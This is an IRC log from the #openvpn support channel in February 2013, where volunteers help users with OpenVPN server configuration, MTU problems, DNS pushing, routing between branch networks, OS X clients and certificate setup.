12:11 < pekster> hotwings: I don't cate what you named if. The client is getting an IP issued to it from 10/8 becuase that is what the server has pushed, usually via an --ifconfig-pool or --server option. Paste your openvpn *server* configuration file if you can't figure out why that's happening
12:12 < pekster> This is completely normal in many setups; it's rare to have enough public IPs to waste them on connecting VPN clients, so I don't really see what's "broken" unless you're expecting to get a globally-routable IP
12:15 < hotwings> by server are you referring to virtual private network daemon.  as in: "[ ok ] Starting virtual private network daemon:."
12:15 < pekster> The config file. The actual configuration that openvpn is being started with
12:16 < pekster> Usually it's stored in /etc/openvpn/ on Unix-like systems, but a distro can put this file anywhere it pleases
12:16 < pekster> And I'm talking about this config file on your server. Not your client (where you're getting that IP assigned) but the server that is assigning it
12:17 < sh_t> hey everyone. im using an openvpn client (tap) on top of an (or rather inside of) another openvpn client (tun). There seems to be MTU issues because I can use ICMP but websites dont load. I don't have control over the server side config for the tap adapter. what would be the best way to go about fixing this? increasing the MTU on the tun server and client side?
12:18 < hotwings> the only thing in /etc/openvpn is update-resolv-conf... so i guess i try to figure out where debian puts that stupid file
12:18 -!- pppingme [~pppingme@unaffiliated/pppingme] has quit [Ping timeout: 245 seconds]
12:19 -!- kyrix [~ashley@chello084112114196.33.11.vie.surfer.at] has joined #openvpn
12:20 < neilhwatson> In Debian /etc/init.d/openvpn reads /etc/openvpn/*.conf
12:20 < pekster> sh_t: You might need a lower --tun-mtu value. Try determining the MTU of the inside tunnel by using the --mtu-test option to the VPN endpoing inside your first tunnel
12:20 < pekster> Or solve the problem by not tunneling VPN tunnels like that ;)
12:21 -!- sqwerty [~sqwerty@unaffiliated/sqwerty] has quit [Ping timeout: 248 seconds]
12:21 <@krzee> try to get off tap
12:21 < hotwings> thanks neilhwatson. the only file in my /etc/openvpn/ dir is update-resolv-conf.. so no *.conf there
12:21 <@krzee> what layer2 proto do you need?
12:22 < pekster> I'm more curious why there's a need to run a VPN inside another VPN tunnel personally :)
12:22 <@krzee> ^ sh_t
12:22 < sh_t> krzee: it's just a subscribed vpn that has a provided config. not optimal i know, just trying to work with this
12:22 < sh_t> but I do have control over the outer tun adapter on both ends
12:22 <@krzee> that makes no sense
12:22 <@krzee> dont stack them
12:23 <@krzee> pekster, when i wrote vpnchains link my motivation was to be able to use less trusted boxes to build the outter layer of the darknet, while not trusting them with the data going over the darknet
12:23 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has joined #openvpn
12:24 <@krzee> but that seems to not be his motivation, so i dunno
12:25 <@krzee> https://www.secure-computing.net/wiki/index.php/OpenVPN/VpnChains
12:25 <@vpnHelper> Title: OpenVPN/VpnChains - Secure Computing Wiki (at www.secure-computing.net)
12:25 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
12:26 < pekster> Right. Same principle as tor, and it's slow for a reason :P
12:26 -!- Eagleman [~Eagleman@vpn.eagleman.net] has joined #openvpn
12:27 <@krzee> actually i caught some weird results, bandwidth did not go down
12:27 <@krzee> actually had higher iperf results
12:27 <@krzee> we talked about it before, you said additional tests should have been done ;]
12:28 < pekster> It doesn't scale; on the Internet at large you end up with more points of failure/latency/dropouts
12:28 < hotwings> this, /etc/default/openvpn, is the only config file of any kind im finding: http://pastebin.com/NUNQBUsd       every other file listed in /var/lib/dpkg/info/openvpn.conffiles is a script
12:28 <@krzee> definitely doesnt scale
12:28 <@krzee> not well at least
12:28 < pekster> hotwings: That is not an openvpn config file. You can see samples of actual config files here:
12:28 < pekster> !sample
12:28 <@vpnHelper> "sample" is (#1) http://www.ircpimps.org/openvpn.configs for a working sample config or (#2) DO NOT use these configs until you understand the commands in them, read up on each first column of the configs in the manpage (see !man) or (#3) these configs are for a basic multi-user vpn, which you can then build upon to add lans or internet redirecting
12:28 < pekster> Or at the official howto here:
12:28 < pekster> !howto
12:28 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
12:29 < pekster> hotwings: How did you configure your server if you didn't create an openvpn config file? That is a required part of OpenVPN setup...
12:30 <@krzee> oh and if you want your hand held through configuring it:
12:31 <@krzee> !confgen
12:31 <@vpnHelper> "confgen" is (#1) http://www.doeshosting.com/code/openvpn-confgen.tgz for the bash config generator or (#2) you can use svn co http://www.secure-computing.net/svn/trunk/openvpn-confgen/ or (#3) you must run this in bash
12:31 < hotwings> the direction i was given said to install the openvpn package, download the client, and run it. i did it and it works most of the time but sometimes i get these 10.200.x.x ips and nothing work. so before i would just restart it until it worked again. but i'd rather figure this problem out and solve it for good now.
12:31 <@krzee> i made a lil bash script which holds your hand and walks through it with ya
12:32 < pekster> hotwings: Do you not control the server? If you are not the admin of the server, we cannot help you diagnoise problems with the setup...
12:32 < pekster> (especially things like why they're giving you an rfc1918 IP if that's not what you expected)
12:33 <@krzee> ah
12:33 < hotwings> i have full access to the box, meaning root.
12:33 <@krzee> !provider
12:33 <@vpnHelper> "provider" is (#1) We are not your provider's free tech support. We support the free open source app OpenVPN, not your provider. Just because they run openvpn does not mean we are their support team. or (#2) Please contact their support team.
12:33 < pekster> hotwings: The server, right?
12:33 <@krzee> you have root on the server?
12:33 < hotwings> the box openvpn is installed on, yes
12:33 < pekster> OpenVPN is installed on *both* the client and server
12:33 <@krzee> there are 2 boxes openvpn are installed on
12:33 < pekster> I am telling you that I need to see your server config file in order to help you understand the IP your are getting on the client
12:34 <@krzee> well 2+
12:34 < pekster> If you do not control the server, I will be unable to be of any help to you
12:34 < hotwings> then the client and the server are installed on one box because there is only one box
12:34 < pekster> No, there's not. You are connected to *another* system
12:34 < pekster> That's how VPNs work ;)
12:34 <@krzee> you have a vpn provider, right?
12:34 <@krzee> they gave you stuff to install, right?
12:35 < hotwings> the direction i was given said to install the openvpn package, download the client, and run it.
12:35 <@krzee> who gave these directions
12:35 < hotwings> that was done on a single box
12:36 -!- kyrix [~ashley@chello084112114196.33.11.vie.surfer.at] has quit [Read error: Connection reset by peer]
12:37 -!- kyrix [~ashley@chello084112114196.33.11.vie.surfer.at] has joined #openvpn
12:37 -!- kyrix [~ashley@chello084112114196.33.11.vie.surfer.at] has quit [Read error: Connection reset by peer]
12:47 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has quit [Remote host closed the connection]
12:59 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 276 seconds]
13:00 -!- DrCode_ [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
13:03 -!- anto [~chatzilla@14.140.176.210] has joined #openvpn
13:04 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 276 seconds]
13:04 -!- DrCode_ is now known as DrCode
13:14 -!- p3rror [~mezgani@41.140.231.29] has quit [Ping timeout: 245 seconds]
13:18 -!- sysdoc [~sysdoc@pool-71-105-40-229.lsanca.dsl-w.verizon.net] has joined #openvpn
13:25 -!- jtrucks [jtrucks@freenode/staff/lopsa.board.jtrucks] has quit [Remote host closed the connection]
13:25 -!- jtrucks [jtrucks@freenode/staff/lopsa.board.jtrucks] has joined #openvpn
13:30 -!- coreGrl [~a@host18-17-dynamic.4-87-r.retail.telecomitalia.it] has quit [Quit: Sto andando via]
13:33 -!- jtrucks [jtrucks@freenode/staff/lopsa.board.jtrucks] has quit [Read error: error:1408F119:SSL routines:SSL3_GET_RECORD:decryption failed or bad record mac]
13:34 -!- jtrucks [jtrucks@freenode/staff/lopsa.board.jtrucks] has joined #openvpn
13:34 -!- jtrucks_ [jtrucks@freenode/staff/lopsa.board.jtrucks] has joined #openvpn
13:34 -!- jtrucks [jtrucks@freenode/staff/lopsa.board.jtrucks] has quit [Quit: Lost terminal]
13:34 -!- jtrucks_ [jtrucks@freenode/staff/lopsa.board.jtrucks] has quit [Quit: Lost terminal]
13:35 -!- jtrucks [jtrucks@freenode/staff/lopsa.board.jtrucks] has joined #openvpn
13:40 -!- brute11k [~brute11k@89.249.235.210] has joined #openvpn
13:45 -!- brute11k [~brute11k@89.249.235.210] has quit [Ping timeout: 276 seconds]
13:46 -!- brute11k [~brute11k@89.249.235.210] has joined #openvpn
14:16 -!- brute11k [~brute11k@89.249.235.210] has quit [Quit: Leaving.]
14:17 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 255 seconds]
14:17 -!- Devastator [~devas@186.214.15.79] has joined #openvpn
14:21 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: quit]
14:26 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Read error: Connection reset by peer]
14:27 -!- p3rror [~mezgani@41.248.171.225] has joined #openvpn
14:35 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 276 seconds]
14:43 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
14:52 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 248 seconds]
14:53 -!- sofia25 [~sofia25@24.157.255.130] has joined #openvpn
14:53 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
14:53 < sofia25> anyone guys...i would like to know your inputs about my openvpn setup ???
14:59 < sofia25> anyone here?
15:00 -!- neilhwatson [~neilhwats@CPE00e081b5ee1e-CMbc140134c320.cpe.net.cable.rogers.com] has quit [Quit: leaving]
15:00 < sofia25> !welcome
15:00 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
15:00 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
15:08 < sofia25> I would like to setup a central host (SERVER) that could have access to 5 clients networks (192.168.1.0/24 - Client A, 192.168.2.0/24 - Client B...) in a site-to-site architecture, SERVER can access Client A but Client B cannot access client A...is that possible? Or should i setup a client-server architecture? Which one is best suitable setup?
15:20 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Read error: Connection reset by peer]
15:22 < rob0> Client-server or p2p is not relevant. Each connection makes a tunnel between those two endpoints.
15:22 < rob0> what you probably need is a better understanding of IP routing
15:22 < rob0> !route
15:22 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind
15:22 <@vpnHelper> the server or client
15:23 < sofia25> Basically, I needed each branch to be able to route to the home office network, and the home office network to be able to route to each of the branch office networks (but the branches did not need to route each other).
15:25 < sofia25> it's just that i see openvpn recipes about point-to-point (ex.: ifconfig SERVERIP CLIENTIP) and client-server setup (server 192.168.200.0 255.255.255.0)
15:27 -!- bjh4 [~bjh4@12.239.198.1] has quit [Quit: Leaving]
15:30 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has quit [Quit: Leaving]
15:40 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit []
15:46 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 260 seconds]
16:04 -!- sqwerty [~sqwerty@unaffiliated/sqwerty] has joined #openvpn
16:15 -!- dazo is now known as dazo_afk
16:24 -!- Orbi [~opera@109.129.10.139] has joined #openvpn
16:27 -!- neilhwatson [~neilhwats@cl-274.chi-03.us.sixxs.net] has joined #openvpn
16:29 < neilhwatson> Is there a similar command to "redirect-gateway def1" that does not set the default gw,  but ensures the tunnel routes through the client's default gw? The client's default gw on the client is dynamic, from the ISP.
16:29 -!- Orbi [~opera@109.129.10.139] has left #openvpn []
16:35 -!- Teck7 [~teck7@bas1-montreal54-1168086246.dsl.bell.ca] has joined #openvpn
16:38 -!- rfxn [~teck7@70.50.155.78] has quit [Ping timeout: 252 seconds]
16:41 -!- Cybertinus [~Cybertinu@2001:828:405:30:83:96:177:42] has quit [Remote host closed the connection]
16:45 -!- Cybertinus [~Cybertinu@2001:828:405:30:83:96:177:42] has joined #openvpn
16:49 < rob0> Maybe you're asking about --route, but TBH I can't tell.
16:49 < rob0> are you wanting to redirect the gateway?
16:50 -!- anto [~chatzilla@14.140.176.210] has quit [Ping timeout: 248 seconds]
16:50 < neilhwatson> I do not want to redirect the gate way.  I have a bridged setup.  It worked when I was redirecting the gateway but fails when I remove "push "redirect-gateway def1".  I can no longer ping the vpn server.
16:58 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
16:58 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
16:58 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
16:58 -!- mode/#openvpn [+o krzee] by ChanServ
17:03 < neilhwatson> aha  redirect-private
17:03 < sqwerty> is there a way to tell linux clients to use a specific dns server that is supported natively ?
17:04 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Quit: Leaving]
17:05 -!- p3rror [~mezgani@41.248.171.225] has quit [Read error: Connection reset by peer]
17:07 < neilhwatson> Perhaps push dhcp-option DNS <ip addr>
17:08 -!- anto [~chatzilla@111.92.56.21] has joined #openvpn
17:08 < sqwerty> man pages says it just sets an envinronment variable on linux systems and doesn't actually do anything
17:08 < sqwerty> which seems to be the case
17:09 < rob0> sqwerty, my solution was to use dnsmasq on server and clients
17:11 -!- anto [~chatzilla@111.92.56.21] has quit [Remote host closed the connection]
17:12 < sqwerty> ah k. ideally was looking for a solution that could be kept within openvpn configuration, but will have a look cheers
17:20 < rob0> dnsmasq has other benefits as well.
17:20 < rob0> http://rob0.nodns4.us/dnsmasq.html
17:20 <@vpnHelper> Title: DNS in OpenVPN: a better approach (at rob0.nodns4.us)
17:23 <@krzee> [19:08]  <sqwerty> man pages says it just sets an envinronment variable on linux systems and doesn't actually do anything
17:23 <@krzee> !pushdns
17:23 <@vpnHelper> "pushdns" is (#1) push "dhcp-option DNS a.b.c.d" to push dns to the client or (#2) http://thread.gmane.org/gmane.network.openvpn.user/25139/focus=25147 see that mail archive for some info on pushing dns or (#3) http://article.gmane.org/gmane.network.openvpn.user/25149 for a perm fix via regedit or (#4) in unix you'll use the update-resolv-conf script or (#5) also
17:23 <@vpnHelper> http://comments.gmane.org/gmane.network.openvpn.user/31975 reports --register-dns as fixing their problems pushing DNS to windows 7
17:23 <@krzee> see #4
17:23 -!- Eagleman [~Eagleman@vpn.eagleman.net] has quit [Ping timeout: 256 seconds]
17:29 < sqwerty> perfect krzee :)
17:29 < sqwerty> what happens if i give that config to a windows client ?
17:29 < sqwerty> will it blow up when it can't find /etc/openvpn/update-resolv-conf ?
17:30 <@krzee> dont use that option on the windows client, its not needed
17:30 < sqwerty> ye i know. i'm just wondering if i can make a cross-platform config
17:31  * s7r is feeling sexy & free
17:32 <@krzee> no
17:32 <@krzee> :D
17:32 <@krzee> also, dont you want to drop permissions on linux?
17:32 <@krzee> (cant do that in windows)
17:36 < sqwerty> ye true. gonna have to see what happens if i put that in windows client config
17:36 < sqwerty> otherwise i'll give up on the idea :)
17:37 < sqwerty> any idea if update-resolv-conf works on osx ?
17:37 < sqwerty> sorry for the lame questions :P
17:41 < sqwerty> nm i clearly know f all about osx ;]
17:41 < pekster> Tunnelblick ships with its own set of OS X related scripts
17:41 < pekster> DNS is... "different" on macs
17:42 < pekster> They have resolv.conf, but dnsctl re-writes it whenever it feels like it
17:42 < pekster> So you need to use the Apple Way™ when doing DNS
17:45 < uberushaximus> what a special little snowflake
17:46 < pekster> Well, my poking at apple's special way of doing things aside, I've had the least problems with deployments on that platform than any other
17:46 < pekster> Linux tends to work fine, but you end up with distro issues if you support end-users on any "Unix-like" platform, and Windows is, well, Windows
17:53 < sqwerty> would you say osx... just works?
17:54 < pekster> If managed/deployed properly, yes
17:54 < pekster> Literally no setup beyond the user dragging my pre-packaged (ie: configuration and everything "inside" the deploy folder as per the Tunnelblick docs) .app file to the Application folder
17:55 -!- bjh4 [~bjh4@ool-4357696f.dyn.optonline.net] has joined #openvpn
17:55 < pekster> It all "just works" from there. Of course, magic goes into the process to set up the server and deployment package properly. You need an IT guy who knows what he/she is doing, but that's always the case ;)
17:56 < sqwerty> cool thanks for the advice. will have a look at tunnelblick
17:59 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn []
18:03 -!- sh_t [~sht@176.222.238.158] has quit [Ping timeout: 260 seconds]
18:04 -!- sh_t [~sht@176.222.238.158] has joined #openvpn
18:04 <@krzee> haha !allyouneed = You need an IT guy who knows what he/she is doing. After that it's all easy!
18:04 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
18:05 < pekster> Well, I didn't mean to imply that a custom setup literally works out of the box
18:05 < pekster> It did from our user's perspective, but that's becuase I did all the hard work weeks before ;)
18:05 -!- Denial- [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
18:06 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit [Ping timeout: 255 seconds]
18:06 -!- Denial- is now known as Denial
18:06 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
18:14 -!- raidz is now known as raidz_away
18:15 -!- JSharpe [~JSharpe@10-253-3-31-anc.floodtel.net] has quit [Quit: Leaving]
18:16 -!- raidz_away is now known as raidz
18:26 -!- neilhwatson [~neilhwats@cl-274.chi-03.us.sixxs.net] has quit [Quit: Leaving.]
18:37 -!- sysdoc [~sysdoc@pool-71-105-40-229.lsanca.dsl-w.verizon.net] has quit [Quit: Leaving]
18:40 -!- bluethundr [~dunphy@ool-4573b723.dyn.optonline.net] has quit [Remote host closed the connection]
18:50 -!- sofia_25 [~sofia25@24.157.255.130] has joined #openvpn
18:50 -!- sofia_25 [~sofia25@24.157.255.130] has quit [Client Quit]
18:52 -!- sofia25 [~sofia25@24.157.255.130] has quit [Ping timeout: 248 seconds]
19:10 -!- Devastator [~devas@186.214.15.79] has quit [Changing host]
19:10 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
19:11 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit [Ping timeout: 255 seconds]
19:13 -!- tswett [~quassel@unaffiliated/tswett] has joined #openvpn
19:13 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
19:13 -!- raidz is now known as raidz_away
19:14 < tswett> Ahoy. I'm trying to get an OpenVPN server running. I've generated a bunch of keys, and now I just ran build-dh a second time.
19:14 < tswett> Is that going to cause any problems?
19:20 <@krzee> you can build-dh as many times as you want
19:20 <@krzee> wont hurt anything
19:22 < tswett> *nod* Thanks.
19:22 <@krzee> np
19:36 < rob0> build-dh until you get it right!
19:36 < rob0> build-dh until the cows come home!
19:37 < rob0> build-dh until the sun comes up over Santa Monica Blvd!
19:53 <@krzee> hahah
20:01 -!- n0sq [~quassel@75-135-14-61.dhcp.krny.ne.charter.com] has joined #openvpn
20:13 -!- uberushaximus [~uberushax@hacked.thegov.us] has quit [Ping timeout: 252 seconds]
20:13 -!- uberushaximus [~uberushax@hacked.thegov.us] has joined #openvpn
20:15 -!- takamichi [~Takamichi@c101-159.i07-26.onvol.net] has quit [Remote host closed the connection]
20:18 -!- bjh4 [~bjh4@ool-4357696f.dyn.optonline.net] has quit [Remote host closed the connection]
20:34 -!- cosmicfires [~el-brujo@c-50-135-29-248.hsd1.wa.comcast.net] has joined #openvpn
20:36 < cosmicfires> Hi what's the best port of openvpn for OS-X and where can I find set up docs?
20:36 <@krzee> port?
20:36 <@krzee> !osx
20:36 <@vpnHelper> "osx" is (#1) Tunnelblick includes everything you need to run OpenVPN on OS X. https://code.google.com/p/tunnelblick/ or (#2) Viscosity is another OpenVPN client for OS X, but it is commercial. http://www.thesparklabs.com/viscosity/
20:36 < cosmicfires> version then
20:37 < cosmicfires> how about the version in ports?
20:37 <@krzee> go for it
20:37 <@krzee> its all the same openvpn
20:37 < cosmicfires> I'm looking for docs on setting it up, it didn't make an openvpn/ directory when I installed it
20:38 <@krzee> make your own, anywhere you want
20:38 <@krzee> the macports version doesnt have a startup script, so you get to handle that on your own anyways
20:38 < cosmicfires> can I copy my config from linux and make new client certs?
20:38 < pekster> FWIW, Tunnelblick has fantastic documentation on anything from a basic setup to a corporate deployment solution
20:39 <@krzee> yes
20:39 < cosmicfires> thanks I'll check it out
20:39 < pekster> The config should be nearly (if not completely) identical between Linux to OS X
20:39 < cosmicfires> I need different client certs correct?
20:39 < pekster> Minor stuff might change, such as the path to files and a lack of resolv.conf scripts (Tunnelblick handles that itself)
20:39 <@krzee> yes
20:40 < cosmicfires> thanks
20:52 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
20:57 -!- ciupicri [~ciupicri@unaffiliated/ciupicri] has joined #openvpn
20:57 -!- ciupicri [~ciupicri@unaffiliated/ciupicri] has left #openvpn []
20:58 -!- ciupicri [~ciupicri@unaffiliated/ciupicri] has joined #openvpn
20:59 < ciupicri> can I have global CA -> openvpn CA -> server & client certs and accept only stuff signed by the openvpn CA?
21:01 <@krzee> while the answer is yes, why do you feel the need to have the openvpn CA be intermediate of the global CA?
21:03 < ciupicri> krzee: so that I can delegate stuff and contain better certificates related to openvpn
21:03 < ciupicri> s/contain/separate/
21:03 <@krzee> and why not just have a separate CA for openvpn?
21:05 < ciupicri> hmmm I can't find a reason right now. I've just started the SSL thing with openvpn today. It might be worth a shot to have only the CA for open vpn
21:06 <@krzee> is the global CA one you use for web and stuff?  signed by some other company?
21:08 < ciupicri> no, it's just for my use. I haven't bought something from the big companies.
21:09 < ciupicri> as for the other part of the question, yes I was thinking of using the global CA for the web and email servers and so on...
21:17 < ciupicri> anyway, another question that I have is why in the server mode with TLS, I'
21:18 < ciupicri> I'm getting one pair of addresses on the client and another different pair on the server
21:19 < ciupicri> e.g. xxxx.5 & xxxx.6 on the client and xxxx.1 & xxxx.2 on the server
21:19 < rob0> !/30
21:19 <@vpnHelper> "/30" is (#1) Default behaviour assigns a /30 subnet(4 addresses) to each peer. See http://goo.gl/6vemm for background or (#2) you can avoid this behavior by reading !topology or (#3) by default, first client is .6, then .10 .14 .18 etc or (#4) use openvpn --show-valid-subnets to see the subnets you can use in net30 or (#5) tl;dr Windows sucks, use --topology subnet in your server.conf
21:21 < ciupicri> got it, thank you
21:21 < ciupicri> thank you too, krzee
21:22 -!- tswett [~quassel@unaffiliated/tswett] has left #openvpn ["http://quassel-irc.org - Chat comfortably. Anywhere."]
21:25 <@krzee> yw
21:41 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 248 seconds]
21:53 -!- Netsplit *.net <-> *.split quits: Devastator, WinstonSmith, odoacre, speed_racer8, cosmicfires, dropje
21:55 -!- Netsplit over, joins: cosmicfires, speed_racer8, Devastator, WinstonSmith, odoacre, dropje
21:58 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit [Ping timeout: 248 seconds]
22:09 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
22:51 -!- brute11k [~brute11k@89.249.235.252] has joined #openvpn
22:51 -!- n0sq [~quassel@75-135-14-61.dhcp.krny.ne.charter.com] has quit [Read error: Connection reset by peer]
23:31 -!- kantlivelong [~kantlivel@47.23.189.90] has quit [Ping timeout: 245 seconds]
23:32 -!- odoacre [~antonio@us.happylatte.com] has quit [Excess Flood]
23:32 -!- odoacre [~antonio@64.235.48.199] has joined #openvpn
23:37 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has joined #openvpn
23:54 -!- ciupicri [~ciupicri@unaffiliated/ciupicri] has quit [Ping timeout: 246 seconds]
--- Day changed Wed Feb 27 2013
00:34 -!- brute11k [~brute11k@89.249.235.252] has quit [Read error: Connection reset by peer]
01:06 -!- odoacre [~antonio@64.235.48.199] has quit [Ping timeout: 264 seconds]
01:06 -!- odoacre [~antonio@64.235.48.199] has joined #openvpn
01:14 -!- odoacre [~antonio@64.235.48.199] has quit [Ping timeout: 248 seconds]
01:15 -!- odoacre [~antonio@64.235.48.199] has joined #openvpn
01:21 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
01:28 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 255 seconds]
01:49 -!- roue [~roue@96-42-92-237.dhcp.roch.mn.charter.com] has quit [Ping timeout: 255 seconds]
01:56 -!- roue [~roue@96-42-92-237.dhcp.roch.mn.charter.com] has joined #openvpn
02:32 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
02:59 -!- kobolduk [~kobolduk@office.prolocation.net] has joined #openvpn
03:16 -!- sqwerty [~sqwerty@unaffiliated/sqwerty] has quit [Ping timeout: 248 seconds]
03:23 -!- zz_AsadH is now known as AsadH
03:45 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit []
03:54 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
04:00 -!- sunta [~cornholio@hector.raytion.com] has joined #openvpn
04:04 -!- dazo_afk is now known as dazo
04:04 -!- sqwerty [~sqwerty@unaffiliated/sqwerty] has joined #openvpn
04:23 -!- marksaitis [~marksaiti@81.101.81.114] has joined #openvpn
04:47 -!- RealRancor [~Rancor@mafiaforum.de] has joined #openvpn
04:52 -!- RealRancor [~Rancor@mafiaforum.de] has quit [Ping timeout: 276 seconds]
05:01 -!- ciupicri [~ciupicri@unaffiliated/ciupicri] has joined #openvpn
05:09 -!- JSharpe [~JSharpe@10-253-3-31-anc.floodtel.net] has joined #openvpn
05:12 < JackSparrow> hi again, from the client i can ping the server, but not an external IP
05:12 < JackSparrow> with: push "redirect-gateway def1"
05:13 < JackSparrow> in the server log: MULTI: bad source address from client [192.168.0.42], packet dropped
05:15 < JackSparrow> i found i can solve that with a client config dir, is it possible to do that dynamically ?
05:15 < JackSparrow> (or, is that a NAT problem ?)
05:30 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
05:39 -!- ciupicri [~ciupicri@unaffiliated/ciupicri] has quit [Quit: Leaving.]
05:52 -!- greyeax [~grey@cpe-108-185-215-179.socal.res.rr.com] has joined #openvpn
05:52 < greyeax> how do i create user accounts to login to an openvpn server?
05:52 < greyeax> google doesn't seem to want to give me a straight answer
05:57 < Wintereise> Generate new certificates for that user if you're using public cert based auth.
05:58 < Wintereise> Uname/pw, ...this is script based, depends on your script.
06:28 -!- mndo [~mndo@bl17-94-90.dsl.telepac.pt] has joined #openvpn
06:45 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 252 seconds]
06:49 -!- sam1 [~sam@194.236.182.101] has quit [Quit: sam1]
06:49 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
07:04 -!- kobolduk [~kobolduk@office.prolocation.net] has quit [Quit: ["Textual IRC Client: www.textualapp.com"]]
07:06 < JackSparrow> i ran wireshark on my openvpn server, i see ICMP packets from 10.99.1.10 to the IP that my client pings
07:07 < JackSparrow> i think that the server doesn't sends back the packets from the ping'd IP
07:11 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
07:14 -!- Teck7 is now known as rfxn
07:14 -!- mndo [~mndo@bl17-94-90.dsl.telepac.pt] has quit [Remote host closed the connection]
07:26 < JackSparrow> oh, it works.
07:31 -!- greyeax [~grey@cpe-108-185-215-179.socal.res.rr.com] has quit [Ping timeout: 276 seconds]
07:33 -!- sunta [~cornholio@hector.raytion.com] has quit [Quit: Verlassend]
07:43 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 245 seconds]
07:58 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 252 seconds]
08:00 -!- odoacre [~antonio@64.235.48.199] has quit [Ping timeout: 240 seconds]
08:07 -!- p3rror [~mezgani@41.140.38.124] has joined #openvpn
08:14 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
08:21 -!- fu_fu [~Adium@c-107-3-50-191.hsd1.vt.comcast.net] has joined #openvpn
08:21 -!- odoacre [~antonio@64.235.48.199] has joined #openvpn
08:22 < fu_fu> hello, anyone familiar with ports to open on Cisco ASA to allow OVPN passthru?
08:22 < fu_fu> is 1194 sufficient?
08:25 <@dazo> fu_fu: yes, openvpn only uses a single UDP or TCP port ... completely standard port setup
08:29 < fu_fu> can you send me the flowchart link for connection troubleshooting?
08:30 < fu_fu> i get a conneciton on the server side, but can not pass ping
08:33 < fu_fu> Wed Feb 27 06:32:37 2013 TLS Error: TLS key negotiation failed to occur within 60 seconds (check your network connectivity)
08:35 < fu_fu> server says bad source address also
08:38 < havoc> fu_fu: that error is almost *always* the client FW blocking
08:39 < havoc> if it's windows, just allow all for openvpn.exe
08:40 < fu_fu> ok i will try, but i think the client FW is set to "off"
08:40 < havoc> ok
08:40 < havoc> but I've never seen that error be from anything else
08:40 < havoc> not saying it can't be, just that *I've* never seen it be from anything else
08:43 < fu_fu> havoc, you mean the TLS err right?
